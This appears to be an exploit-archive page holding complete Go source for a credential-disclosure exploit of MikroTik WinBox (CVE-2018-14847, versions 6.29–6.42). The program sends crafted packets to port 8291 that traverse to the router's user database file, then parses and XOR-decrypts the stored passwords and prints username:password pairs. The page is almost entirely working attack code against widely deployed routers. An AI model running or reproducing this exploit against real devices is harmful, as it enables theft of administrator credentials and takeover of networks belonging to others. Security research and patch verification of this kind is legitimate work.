what you don't know can hurt you

Mikrotik WinBox 6.42 Credential Disclosure

Mikrotik WinBox 6.42 Credential Disclosure
Posted Aug 17, 2018
Authored by Maxim Yefimenko

Mikrotik WinBox version 6.42 suffers from a credential disclosure vulnerability.

tags | exploit, info disclosure
MD5 | e016351c814e2b52d73794e816013898

Mikrotik WinBox 6.42 Credential Disclosure

Change Mirror Download
/*

# Title: Mikrotik WinBox 6.42 - Credential Disclosure ( golang edition )
# Author: Maxim Yefimenko ( @slider )
# Date: 2018-08-06
# Sotware Link: https://mikrotik.com/download
# Vendor Page: https://www.mikrotik.com/
# Version: 6.29 - 6.42
# Tested on: Fedora 28 \ Debian 9 \ Windows 10 \ Android ( wherever it was possible to compile.. it's golang ^_^ )
# CVE: CVE-2018-14847
# References:
# ( Alireza Mosajjal ) https://github.com/mosajjal https://n0p.me/winbox-bug-dissection/
# ( BasuCert ) https://github.com/BasuCert/WinboxPoC
# ( manio ) https://github.com/manio/mtpass/blob/master/mtpass.cpp
# and special thanks to Dmitriy_Area51

*/

package main

import (
"crypto/md5"
"fmt"
"net"
"os"
"strings"
"time"
)

var (
a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00}

b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00}

buf = make([]byte, 1024*8)
)

func checkErr(err error) {
if err != nil {
fmt.Println("Error:" + err.Error())
}
}

func decryptPassword(user []byte, passEnc []byte) string {
var passw []byte
hasher := md5.New()
hasher.Write(user)
hasher.Write([]byte("283i4jfkai3389"))
key := hasher.Sum(nil)

for i := 0; i < len(passEnc); i++ {
passw = append(passw, passEnc[i]^key[i%len(key)])
}

return string(ASCIIonly(passw))
}

func ASCIIonly(s []byte) []byte {
for i, c := range s {
if c < 32 || c > 126 {
return s[:i]
}
}
return s
}

func extractPass(buff []byte) (s []string) {
var (
usr []byte
pwd []byte
)

//searching for StartOfRecord
for i := 0; i < len(buff); i++ {

if i+2 >= len(buff) {
break
}

if (buff[i] == 0x4d) && (buff[i+1] == 0x32) && (buff[i+2] == 0x0a || buff[i+2] == 0x10) {
// fmt.Printf("Probably user record at offset 0x%.5x\n", i)

//some bytes ahead is enable/disable flag
i += int((buff[i+2] - 5))
if i >= len(buff) {
break
}

//searching for StartOfRecNumber
if i+3 >= len(buff) {
break
}

for !((buff[i] == 0x01) && ((buff[i+1] == 0x00) || (buff[i+1] == 0x20)) && (buff[i+3] == 0x09 || buff[i+3] == 0x20)) {
i++
if i+3 >= len(buff) {
break
}
}

i += 4
if i >= len(buff) {
break
}
// fmt.Printf("SORn: 0x%X\n", i)

// comment?
i += 18
if (i + 4) >= len(buff) {
break
}
if (!((buff[i+1] == 0x11) && (buff[i+2] == 0x20) && (buff[i+3] == 0x20) && (buff[i+4] == 0x21))) && (buff[i-5] == 0x03 && (buff[i] != 0x00)) {
if (i+1)+int(buff[i]) >= len(buff) {
break
}
i += int(buff[i])
} else {
i -= 18
}

//searching for StartOfPassword
if i+4 >= len(buff) {
break
}

for !((buff[i] == 0x11) && (buff[i+3] == 0x21) && ((buff[i+4] % byte(0x10)) == 0)) {
i++
if i+4 >= len(buff) {
break
}
}
i += 5
if (i + 3) >= len(buff) {
break
}

if (buff[i-1] != 0x00) && !((buff[i] == 0x01) && ((buff[i+1] == 0x20 && buff[i+2] == 0x20) || (buff[i+1] == 0x00 && buff[i+2] == 0x00)) && (buff[i+3] == 0x21)) {
pwd = buf[i-1+1 : int(buf[i-1])+i-1+1]
i += int(buff[i-1])
}

//searching for StartOfUsername
if i+3 >= len(buff) {
break
}
for !((buff[i] == 0x01) && (buff[i+3] == 0x21)) {
i++
if i+3 >= len(buff) {
break
}
}

i += 4
if i >= len(buff) {
break
}
if buff[i] != 0x00 {
if i+int(buff[i]) >= len(buff) {
break
}

usr = ASCIIonly(buff[i+1 : int(buff[i])+i+1])
i += int(buff[i])
}

decrypted := decryptPassword(usr, pwd)
//fmt.Printf(" --> %s\t%s\n", buff[i], decrypted)

if len(usr) != 0 {
s = append(s, strings.Join([]string{string(usr), string(decrypted)}, ":"))
}

}
}

return s
}

func main() {

if len(os.Args) < 2 {
fmt.Printf(" [ usage: %s 192.168.88.1\n\n", os.Args[0])
os.Exit(0)
}

conn, err := net.DialTimeout("tcp", os.Args[1]+":8291", time.Duration(3*time.Second))

if err != nil {
fmt.Println(err.Error())
return
}

defer conn.Close()

conn.Write(a)
reqLen, err := conn.Read(buf)
checkErr(err)
if reqLen < 38 {
panic("First packet is too small")
}

b[19] = buf[38]

conn.Write(b)
reqLen, err = conn.Read(buf)
checkErr(err)
db := buf[:reqLen]

s := extractPass(db)
for i, acc := range s {
data := strings.SplitN(acc, ":", 2)
fmt.Printf(" [%d] %s\t%s\n", i, data[0], data[1])
}
}

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